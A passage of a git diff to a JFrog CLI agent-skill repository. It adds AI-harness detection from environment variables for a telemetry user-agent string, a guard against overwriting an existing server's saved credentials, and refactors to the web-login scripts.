retrieved after -completion. +Scope: repos, builds, release bundles, or projects. +`POST /api/v1/reports/{type}` → retrieve after completion. diff --git a/skills/jfrog/scripts/check-environment.sh b/skills/jfrog/scripts/check-environment.sh index 2df4ff2..0a73014 100755 --- a/skills/jfrog/scripts/check-environment.sh +++ b/skills/jfrog/scripts/check-environment.sh @@ -1,8 +1,4 @@ #!/usr/bin/env bash -# Copyright (c) JFrog Ltd. 2026 -# Licensed under the Apache License, Version 2.0 -# https://www.apache.org/licenses/LICENSE-2.0 -# # check-environment.sh — Cached JFrog CLI environment check # # Checks if jf is installed and its version, using a 24h-TTL cache @@ -39,6 +35,18 @@ FORCE=false # skill) landed in 2.100.0; older CLIs fail with "unknown command: api". MIN_CLI_VERSION="2.100.0" +# CLIs >= this version emit ai-agent/ + ai-client/ + ai-model/ (Client→Agent→Model +# via jfrog-cli-core #1602 + jfrog-cli #3645). Omit client= in the skill UA to +# avoid double-encoding. Always emit tool= — mcp-management Step A parses it from +# this script's stdout, which never includes the CLI's ai-agent/ token. +# +# MERGE / RELEASE PIN: tip `CliVersion` is still 2.119.0 while the identity code +# is already on master. Released 2.118/2.119 only appended ai-agent/. Keep this +# gate at the first *released* CLI that ships full Client→Agent→Model (expected +# 2.120.0). When that release cuts, confirm the tag and update this constant if +# the version number differs — do not lower it to tip's 2.119.0. +AGENT_UA_MIN_CLI_VERSION="2.120.0" + MODEL_SLUG="" for arg in "$@"; do if [[ "$arg" == "--force" ]]; then @@ -147,55 +155,160 @@ EOF return 1 } -# Detect the calling harness from environment signals. Output is one of: -# claude, cursor, gemini, goose, copilot, codex, unknown — or empty -# string when no agent signal is present (direct CLI/CI invocation). -# Naming matches the JFrog CLI's DetectExecutionContext() vocabulary. +# Lowercase and keep only [a-z0-9._-], then truncate to 64 chars — mirrors the +# Go CLI sanitizeToken (cardinality bound + no header-splitting on the wire). +sanitize_token() { + local s + s="$(printf '%s' "$1" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//' | tr '[:upper:]' '[:lower:]' | tr -cd 'a-z0-9._-')" + printf '%s' "${s:0:64}" +} + +# Map a generic AI_AGENT/AGENT value (agents.md proposal, @vercel/detect-agent) +# to a canonical name. Strips a version suffix (e.g. "goose@1.2.3") and lowercases. +# Empty input → nothing; unrecognized non-empty → "unknown". +# Accepts both hyphenated ecosystem ids and our underscore/canonical forms so +# AI_AGENT=roo_code / amazon_q / qwen round-trip the same as the Go CLI. +canonical_agent_name() { + local raw + raw="$(printf '%s' "$1" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')" + raw="${raw%%@*}" + raw="$(printf '%s' "$raw" | tr '[:upper:]' '[:lower:]')" + case "$raw" in + "") ;; + claude-code|claude) echo "claude" ;; + gemini-cli|gemini) echo "gemini" ;; + goose) echo "goose" ;; + cursor-cli|cursor) echo "cursor" ;; + github-copilot|copilot-cli|copilot) echo "copilot" ;; + kilocode) echo "kilocode" ;; + roo-code|roo_code) echo "roo_code" ;; + codex) echo "codex" ;; + windsurf) echo "windsurf" ;; + aider) echo "aider" ;; + cline) echo "cline" ;; + opencode) echo "opencode" ;; + amp) echo "amp" ;; + augment) echo "augment" ;; + qwen-code|qwen) echo "qwen" ;; + antigravity) echo "antigravity" ;; + crush) echo "crush" ;; + iflow) echo "iflow" ;; + trae) echo "trae" ;; + amazon-q-cli|amazon-q|amazon_q) echo "amazon_q" ;; + *) echo "unknown" ;; + esac +} + +# Detect the calling harness from environment signals. First-match order matches +# the JFrog CLI's DetectExecutionContext() table (claude, gemini, goose, cursor, +# …) plus v0.22.0 product envs so mcp-management Step A still sees tool=claude / +# tool=cursor in Claude Code / Cursor IDE terminals (CLAUDECODE, CURSOR_TRACE_ID). +# Those product envs are also set for humans; real agent skill usage is the +# model= slug. Devin Desktop is not detected here — see harness-common.md. +# MODEL_SLUG→unknown fallback is applied by emit_skill_env (not here). detect_harness() { - if [[ -n "${CLAUDECODE:-}" || -n "${CLAUDE_CODE_ENTRYPOINT:-}" ]]; then + # Claude/Cursor: session markers OR the v0.22.0 product envs Agent Guard uses. + # Other rows stay on CLI session markers. + if [[ -n "${CLAUDE_CODE_CHILD_SESSION:-}" || -n "${CLAUDECODE:-}" || -n "${CLAUDE_CODE_ENTRYPOINT:-}" ]]; then echo "claude" - elif [[ -n "${CURSOR_AGENT:-}" || -n "${CURSOR_CLI:-}" || -n "${CURSOR_TRACE_ID:-}" ]]; then - echo "cursor" elif [[ -n "${GEMINI_CLI:-}" ]]; then echo "gemini" elif [[ -n "${GOOSE_TERMINAL:-}" ]]; then echo "goose" - elif [[ -n "${COPILOT_CLI:-}" ]]; then + elif [[ -n "${CURSOR_AGENT:-}" || "${CURSOR_EXTENSION_HOST_ROLE:-}" == "agent-exec" || -n "${CURSOR_CLI:-}" || -n "${CURSOR_TRACE_ID:-}" ]]; then + echo "cursor" + elif [[ -n "${COPILOT_CLI:-}" || -n "${COPILOT_AGENT_SESSION_ID:-}" ]]; then echo "copilot" + elif [[ -n "${KILOCODE_FEATURE:-}" || -n "${KILO_PID:-}" ]]; then + echo "kilocode" + elif [[ -n "${ROO_ACTIVE:-}" || -n "${ROO_CLI_RUNTIME:-}" ]]; then + echo "roo_code" elif [[ -n "${CODEX_CI:-}" || -n "${CODEX_THREAD_ID:-}" || -n "${CODEX_SANDBOX:-}" ]]; then echo "codex" - elif [[ -n "${AGENT:-}" || -n "$MODEL_SLUG" ]]; then - # Agent invoked us but we can't name it. - echo "unknown" + elif [[ -n "${WINDSURF_CASCADE_TERMINAL:-}" ]]; then + echo "windsurf" + elif [[ -n "${CLINE_ACTIVE:-}" ]]; then + echo "cline" + elif [[ -n "${OPENCODE:-}" || -n "${OPENCODE_SESSION_ID:-}" ]]; then + echo "opencode" + elif [[ -n "${AMP_CURRENT_THREAD_ID:-}" ]]; then + echo "amp" + elif [[ -n "${AUGMENT_AGENT:-}" ]]; then + echo "augment" + elif [[ -n "${QWEN_CODE:-}" ]]; then + echo "qwen" + elif [[ -n "${ANTIGRAVITY_AGENT:-}" ]]; then + echo "antigravity" + elif [[ -n "${CRUSH:-}" ]]; then + echo "crush" + elif [[ -n "${IFLOW_CLI:-}" ]]; then + echo "iflow" + elif [[ -n "${TRAE_AI_SHELL_ID:-}" ]]; then + echo "trae" + elif [[ -n "${AI_AGENT:-}" || -n "${AGENT:-}" ]]; then + # aider and amazon_q have no reliable session env — AI_AGENT / AGENT only. + canonical_agent_name "${AI_AGENT:-${AGENT:-}}" fi - # No match → print nothing; emitter omits the parens block entirely. + # No match → print nothing; emitter may still apply MODEL_SLUG→unknown. } # Emit skill-level env vars to stdout (for eval by the caller) emit_skill_env() { - local skill_version cli_version ua harness + local skill_version cli_version ua harness harness_from_model_fallback=false # Parse version from SKILL.md YAML frontmatter (metadata.version) skill_version="$(awk '/^---$/{n++; next} n==1 && /^[[:space:]]*version:/{gsub(/["'"'"']/, "", $2); print $2; exit}' "$SKILL_ROOT/SKILL.md" 2>/dev/null | tr -d '[:space:]')" skill_version="${skill_version:-unknown}" - cli_version=$(jq -r '.cli_version // "unknown"' "$CACHE_FILE" 2>/dev/null || echo "unknown") + # Prefer a live `jf --version` so AGENT_UA_MIN omit-gate is not stuck on a + # stale cache for up to 24h after the user upgrades the CLI. + cli_version="$(jf --version 2>/dev/null | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || true)" + cli_version="${cli_version:-$(jq -r '.cli_version // "unknown"' "$CACHE_FILE" 2>/dev/null || echo "unknown")}" + # Sanitize the model slug once so the MODEL_SLUG→unknown fallback and the + # wire model= key share the same cardinality-bounded, header-safe value + # (mirrors the CLI's sanitizeToken on JFROG_CLI_AI_MODEL). + MODEL_SLUG="$(sanitize_token "${MODEL_SLUG:-}")" harness=$(detect_harness) + # Defense: re-canonicalize so alias wire values (e.g. claude-code from a + # hand-built AI_AGENT / future detector slip) never reach tool=. Empty stays + # empty; known aliases map; unrecognized non-empty → unknown. + if [[ -n "$harness" ]]; then + h2=$(canonical_agent_name "$harness") + [[ -n "$h2" ]] && harness=$h2 + fi + # Agent invoked us (passed a model slug) but set no harness signal the CLI + # shares — CLI will not emit ai-agent/, so the skill must still carry tool=. + if [[ -z "$harness" && -n "$MODEL_SLUG" ]]; then + harness="unknown" + harness_from_model_fallback=true + fi + # Client (TERM_PROGRAM): app hosting the session. Omitted on new CLI when the + # CLI will emit ai-client/ itself (not on the model-slug fallback path). + local client + client="$(sanitize_token "${TERM_PROGRAM:-}")" + local carry_client_ua="false" + if [[ "$cli_version" == "unknown" ]] || version_lt "$cli_version" "$AGENT_UA_MIN_CLI_VERSION" || [[ "$harness_from_model_fallback" == "true" ]]; then + carry_client_ua="true" + fi # Build the parens block: semicolon-separated key=value pairs. - local meta="" + # trigger=skill always leads — this script only runs on the skill path. + # (APR agent-hooks set trigger=hook when they spawn jf; see eager-setup.) + # tool= is always emitted when known: mcp-management parses this stdout line + # and never sees the CLI's later ai-agent/ token. + local meta="trigger=skill" if [[ -n "$harness" ]]; then - meta="tool=${harness}" + meta="${meta}; tool=${harness}" fi - if [[ -n "$MODEL_SLUG" ]]; then - if [[ -n "$meta" ]]; then - meta="${meta}; model=${MODEL_SLUG}" - else - meta="model=${MODEL_SLUG}" - fi + if [[ "$carry_client_ua" == "true" && -n "$harness" && -n "$client" ]]; then + meta="${meta}; client=${client}" fi - ua="jfrog-skills/${skill_version}" - if [[ -n "$meta" ]]; then - ua="${ua} (${meta})" + # model= is emitted regardless of CLI version (not deduped like tool=/client=): + # the CLI's own ai-model/ token is conditional on it detecting the agent via + # env AND the caller exporting JFROG_CLI_AI_MODEL, so the skill can't know + # whether the CLI will carry it. Keeping model= here guarantees the slug is + # always recorded; Coralogix coalesces the two sources so it isn't counted twice. + if [[ -n "$MODEL_SLUG" ]]; then + meta="${meta}; model=${MODEL_SLUG}" fi - ua="${ua} jfrog-cli-go/${cli_version}" + ua="jfrog-skills/${skill_version} (${meta}) jfrog-cli-go/${cli_version}" printf '%s\n' "$ua" } diff --git a/skills/jfrog/scripts/jfrog-check-server-collision.mjs b/skills/jfrog/scripts/jfrog-check-server-collision.mjs new file mode 100644 index 0000000..199bac0 --- /dev/null +++ b/skills/jfrog/scripts/jfrog-check-server-collision.mjs @@ -0,0 +1,69 @@ +#!/usr/bin/env node +// jfrog-check-server-collision.mjs — Guard against `jf config add` silently +// overwriting an unrelated server's credentials. +// +// A derived server ID drops the scheme, port and path, so it can collide +// with an unrelated server already configured under the same name — the +// remove/add in jfrog-login-save-credentials.sh would delete that entry's +// credentials silently without this check. +// +// Usage: +// node jfrog-check-server-collision.mjs <server-id> <platform-url> +// +// Exit codes: +// 0 — no collision (safe to proceed); nothing printed +// 1 — collision: an existing server with this ID points elsewhere; +// its normalized URL is printed to stdout +// +// Any failure to determine the existing config (jf not runnable, malformed +// JSON, etc.) fails open — same as "no collision" — rather than blocking +// login on an unrelated jf/config problem. + +import { execFileSync } from "node:child_process"; + +function normalizeJpdUrl(url) { + if (!url) return ""; + let u = url.replace(/\/+$/, ""); + let stripped = true; + while (stripped) { + stripped = false; + for (const suffix of ["/artifactory", "/ui"]) { + if (u.endsWith(suffix)) { + u = u.slice(0, -suffix.length); + stripped = true; + } + } + } + if (!/^https?:\/\//.test(u)) u = `https://${u}`; + return u; +} + +const [serverId, platformUrl] = process.argv.slice(2); + +try { + const raw = execFileSync("jf", ["config", "show", "--format=json"], { + encoding: "utf8", + timeout: 10_000, + }); + const list = JSON.parse(raw); + const entry = Array.isArray(list) + ? list.find((s) => s && s.serverId === serverId) + : null; + const existingUrl = + entry && + ((typeof entry.url === "string" && entry.url) || + (typeof entry.artifactoryUrl === "string" && entry.artifactoryUrl) || + ""); + if (existingUrl) { + const normExisting = normalizeJpdUrl(existingUrl); + const normNew = normalizeJpdUrl(platformUrl); + if (normExisting !== normNew) { + process.stdout.write(normExisting); + process.exit(1); + } + } +} catch { + // Fail open — matches the previous behavior of swallowing lookup errors + // and proceeding as if no existing entry was found. +} +process.exit(0); diff --git a/skills/jfrog/scripts/jfrog-login-register-session.sh b/skills/jfrog/scripts/jfrog-login-register-session.sh index c3b4cc8..57d7abc 100755 --- a/skills/jfrog/scripts/jfrog-login-register-session.sh +++ b/skills/jfrog/scripts/jfrog-login-register-session.sh @@ -1,8 +1,4 @@ #!/usr/bin/env bash -# Copyright (c) JFrog Ltd. 2026 -# Licensed under the Apache License, Version 2.0 -# https://www.apache.org/licenses/LICENSE-2.0 -# # jfrog-login-register-session.sh — Verify a JFrog server and start a web login session # # Pings the server, generates a session UUID, and registers it with @@ -27,17 +23,11 @@ set -euo pipefail -jf_api_http_status() { - # Parses "Http Status: NNN" from jf api stderr. - local err_file="$1" - local line - line=$(grep -F 'Http Status:' "$err_file" 2>/dev/null | tail -1 || true) - if [[ "$line" =~ Http\ Status:\ ([0-9]+) ]]; then - echo "${BASH_REMATCH[1]}" - else - echo "0" - fi -} +# Parameter expansion so a stripped PATH (tests) still resolves this file. +_this="${BASH_SOURCE[0]}" +SCRIPT_DIR="${_this%/*}" +[[ "$SCRIPT_DIR" == "$_this" ]] && SCRIPT_DIR="." +unset _this JFROG_PLATFORM_URL="${1:-}" @@ -53,6 +43,20 @@ if ! command -v jf &>/dev/null; then exit 1 fi +# shellcheck source=lib/jf-api-http-status.sh +. "$SCRIPT_DIR/lib/jf-api-http-status.sh" + +# `jf api` was added in JFrog CLI 2.100.0 and every request below depends on it. +# Check it explicitly: on an older CLI the ping fails with an unknown-command +# error that carries no HTTP status, which would otherwise be reported as an +# unreachable server and send the user looking at the network instead of the CLI. +if ! jf api --help >/dev/null 2>&1; then + echo "ERROR: this jf ($(jf --version 2>/dev/null || echo 'version unknown')) does not support 'jf api'," >&2 + echo "which this login flow requires (JFrog CLI 2.100.0 or later)." >&2 + echo "Upgrade the JFrog CLI, then retry. See references/jfrog-cli-install-upgrade.md." >&2 + exit 1 +fi + if ! command -v uuidgen &>/dev/null; then echo "ERROR: uuidgen is not installed" >&2 exit 1 @@ -61,8 +65,10 @@ fi TMPERR="$(mktemp)" trap 'rm -f "$TMPERR"' EXIT -# Verify server is reachable (unauthenticated ping) -if ! jf api /artifactory/api/system/ping --url "$JFROG_PLATFORM_URL" >/dev/null 2>"$TMPERR"; then +# Verify server is reachable (unauthenticated ping). +# Flags before the path — jf api 2.120+ treats `jf api <path> --url …` as +# extra positional args ("Wrong number of arguments"). +if ! jf api --url "$JFROG_PLATFORM_URL" /artifactory/api/system/ping >/dev/null 2>"$TMPERR"; then PING_CODE=$(jf_api_http_status "$TMPERR") echo "ERROR: Server not reachable at ${JFROG_PLATFORM_URL} (HTTP ${PING_CODE})" >&2 exit 2 @@ -74,11 +80,11 @@ VERIFY_CODE=${SESSION_UUID: -4} # Register the session with the Access API : >"$TMPERR" -if ! jf api /access/api/v2/authentication/jfrog_client_login/request \ - --url "$JFROG_PLATFORM_URL" \ +if ! jf api --url "$JFROG_PLATFORM_URL" \ -X POST \ -H "Content-Type: application/json" \ - -d "{\"session\":\"${SESSION_UUID}\"}" >/dev/null 2>"$TMPERR"; then + -d "{\"session\":\"${SESSION_UUID}\"}" \ + /access/api/v2/authentication/jfrog_client_login/request >/dev/null 2>"$TMPERR"; then REG_CODE=$(jf_api_http_status "$TMPERR") echo "ERROR: Session registration failed (HTTP ${REG_CODE})" >&2 exit 3 diff --git a/skills/jfrog/scripts/jfrog-login-save-credentials.sh b/skills/jfrog/scripts/jfrog-login-save-credentials.sh index 1f239ec..6b6f7f8 100755 --- a/skills/jfrog/scripts/jfrog-login-save-credentials.sh +++ b/skills/jfrog/scripts/jfrog-login-save-credentials.sh @@ -1,8 +1,4 @@ #!/usr/bin/env bash -# Copyright (c) JFrog Ltd. 2026 -# Licensed under the Apache License, Version 2.0 -# https://www.apache.org/licenses/LICENSE-2.0 -# # jfrog-login-save-credentials.sh — Complete web login by retrieving token and saving credentials # # Retrieves the one-time access token from a completed web login session, @@ -38,16 +34,11 @@ set -euo pipefail -jf_api_http_status() { - local err_file="$1" - local line - line=$(grep -F 'Http Status:' "$err_file" 2>/dev/null | tail -1 || true) - if [[ "$line" =~ Http\ Status:\ ([0-9]+) ]]; then - echo "${BASH_REMATCH[1]}" - else - echo "0" - fi -} +# Parameter expansion so a stripped PATH (tests) still resolves this file. +_this="${BASH_SOURCE[0]}" +SCRIPT_DIR="${_this%/*}" +[[ "$SCRIPT_DIR" == "$_this" ]] && SCRIPT_DIR="." +unset _this JFROG_PLATFORM_URL="${1:-}" SESSION_UUID="${2:-}" @@ -66,6 +57,9 @@ for cmd in jq jf; do fi done +# shellcheck source=lib/jf-api-http-status.sh +. "$SCRIPT_DIR/lib/jf-api-http-status.sh" + # Derive server ID from URL # SaaS: https://mycompany.jfrog.io → mycompany # Self-hosted: https://artifactory.internal.corp → artifactory-internal-corp @@ -79,8 +73,9 @@ trap 'rm -f "$RESP_FILE" "$STDERR_FILE"' EXIT : >"$STDERR_FILE" set +e -jf api "/access/api/v2/authentication/jfrog_client_login/token/${SESSION_UUID}" \ - --url "$JFROG_PLATFORM_URL" \ +# Flags before the path — jf api 2.120+ rejects `jf api <path> --url …`. +jf api --url "$JFROG_PLATFORM_URL" \ + "/access/api/v2/authentication/jfrog_client_login/token/${SESSION_UUID}" \ >"$RESP_FILE" 2>"$STDERR_FILE" api_exit=$? set -e @@ -105,6 +100,17 @@ if [[ -z "$ACCESS_TOKEN" ]]; then exit 3 fi +# A derived server ID drops the scheme, port and path, so it can collide +# with an unrelated server already configured under the same name — the +# remove/add below would delete that entry's credentials silently. Kept in +# Node (not bash) per repo convention; see jfrog-check-server-collision.mjs. +if ! EXISTING_URL=$(node "${SCRIPT_DIR}/jfrog-check-server-collision.mjs" "$JFROG_HOST" "$JFROG_PLATFORM_URL"); then + if [[ -n "$EXISTING_URL" ]]; then + echo "ERROR: jf server '${JFROG_HOST}' already points at ${EXISTING_URL} — refusing to overwrite it." >&2 + exit 4 + fi +fi + # Save credentials to jf config (writes to ~/.jfrog/, needs unrestricted filesystem) jf config remove "$JFROG_HOST" --quiet 2>/dev/null || true @@ -120,7 +126,7 @@ fi echo "SERVER_ID=${JFROG_HOST}" echo "--- Verifying authentication ---" -if ! jf api "/artifactory/api/system/version" --server-id="$JFROG_HOST"; then +if ! jf api --server-id="$JFROG_HOST" /artifactory/api/system/version; then echo "ERROR: Authentication verification failed. Token may not have saved correctly." >&2 exit 4 fi diff --git a/skills/jfrog/scripts/lib/jf-api-http-status.sh b/skills/jfrog/scripts/lib/jf-api-http-status.sh new file mode 100644 index 0000000..4b62054 --- /dev/null +++ b/skills/jfrog/scripts/lib/jf-api-http-status.sh @@ -0,0 +1,13 @@ +# shellcheck shell=bash +# Shared parser for `jf api` stderr. Sourced by login scripts and tests. +# Prints the last "Http Status: NNN" code, or 0 if none. +jf_api_http_status() { + local err_file="$1" + local line + line=$(grep -F 'Http Status:' "$err_file" 2>/dev/null | tail -1 || true) + if [[ "$line" =~ Http\ Status:\ ([0-9]+) ]]; then + echo "${BASH_REMATCH[1]}" + else + echo "0" + fi +}